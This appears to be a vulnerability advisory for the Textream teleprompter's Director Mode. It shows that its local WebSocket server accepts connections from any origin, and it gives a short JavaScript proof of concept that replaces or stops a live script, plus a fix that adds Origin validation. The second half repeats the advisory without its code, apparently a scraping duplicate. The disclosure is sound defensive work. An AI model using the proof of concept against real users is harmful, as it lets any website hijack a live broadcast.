Summary
The DirectorServer WebSocket server (ws://127.0.0.1:<httpPort+1>) accepts connections from any origin without validating the HTTP Origin header during the WebSocket handshake. A malicious web page visited in the same browser session can silently connect to the local WebSocket server and send arbitrary DirectorCommand payloads, allowing full remote control of the teleprompter content.
Details
In DirectorServer.swift, the startWSListener() function initializes a WebSocket listener using NWProtocolWebSocket.Options() with no origin validation:
// DirectorServer.swift – startWSListener()
let wsOptions = NWProtocolWebSocket.Options()
params.defaultProtocolStack.applicationProtocols.insert(wsOptions, at: 0)
The handleWSConnection() and handleIncomingMessage() functions accept and process every incoming message without any authentication or origin check:
// DirectorServer.swift – handleIncomingMessage()
private func handleIncomingMessage(_ data: Data) {
guard let command = try? JSONDecoder().decode(DirectorCommand.self, from: data) else { return }
// ⚠️ No origin, auth, or token check of any kind
switch command.type {
case "setText": self?.onSetText?(text)
case "updateText": self?.onUpdateText?(text, readCharCount)
case "stop": self?.onStop?()
}
}
Supported command types (setText, updateText, stop) directly manipulate the live teleprompter session with no gate-keeping.
Proof of Concept
- Start Textream and activate Director Mode (WebSocket binds to
ws://127.0.0.1:<httpPort+1>, default 7576).
- While the session is active, open any browser tab and paste the following into the developer console:
const ws = new WebSocket('ws://127.0.0.1:7576');
ws.onopen = () => {
// Replace the live teleprompter script remotely
ws.send(JSON.stringify({
type: "setText",
text: "You have been hijacked."
}));
};
- The teleprompter content is immediately replaced with no interaction required within the Textream app.
To silently stop a live session:
const ws = new WebSocket('ws://127.0.0.1:7576');
ws.onopen = () => ws.send(JSON.stringify({ type: "stop" }));
Impact
- Integrity (High): Any website the user visits can silently replace, modify, or delete the live script during a presentation or broadcast without any user interaction inside the app.
- Confidentiality (Low): The attacker receives full
DirectorState broadcasts including current script content, highlighted character count, and audio levels.
- Availability (Low): The
stop command can terminate an active live session remotely at any time.
This affects all users running Textream Director Mode on macOS regardless of network configuration, since the attack vector is the loopback interface exploited through a browser.
Remediation
Validate the Origin header during the WebSocket upgrade handshake and reject connections that do not originate from localhost or a known trusted origin:
// Proposed fix – reject non-localhost origins
wsOptions.setHandshakeHandler { metadata, completion in
let origin = metadata.additionalHeaders.first(where: { $0.name == "Origin" })?.value ?? ""
guard origin.hasPrefix("http://localhost") || origin.hasPrefix("http://127.0.0.1") else {
completion(.reject(HTTPURLResponse()))
return
}
completion(.accept(subprotocol: nil, additionalHeaders: []))
}
Additionally, implement a shared secret token that the HTML page (served by the HTTP server) embeds and the WebSocket server verifies on the first message.
Summary
The
DirectorServerWebSocket server (ws://127.0.0.1:<httpPort+1>) accepts connections from any origin without validating the HTTPOriginheader during the WebSocket handshake. A malicious web page visited in the same browser session can silently connect to the local WebSocket server and send arbitraryDirectorCommandpayloads, allowing full remote control of the teleprompter content.Details
In
DirectorServer.swift, thestartWSListener()function initializes a WebSocket listener usingNWProtocolWebSocket.Options()with no origin validation:The
handleWSConnection()andhandleIncomingMessage()functions accept and process every incoming message without any authentication or origin check:Supported command types (
setText,updateText,stop) directly manipulate the live teleprompter session with no gate-keeping.Proof of Concept
ws://127.0.0.1:<httpPort+1>, default7576).To silently stop a live session:
Impact
DirectorStatebroadcasts including current script content, highlighted character count, and audio levels.stopcommand can terminate an active live session remotely at any time.This affects all users running Textream Director Mode on macOS regardless of network configuration, since the attack vector is the loopback interface exploited through a browser.
Remediation
Validate the
Originheader during the WebSocket upgrade handshake and reject connections that do not originate fromlocalhostor a known trusted origin:Additionally, implement a shared secret token that the HTML page (served by the HTTP server) embeds and the WebSocket server verifies on the first message.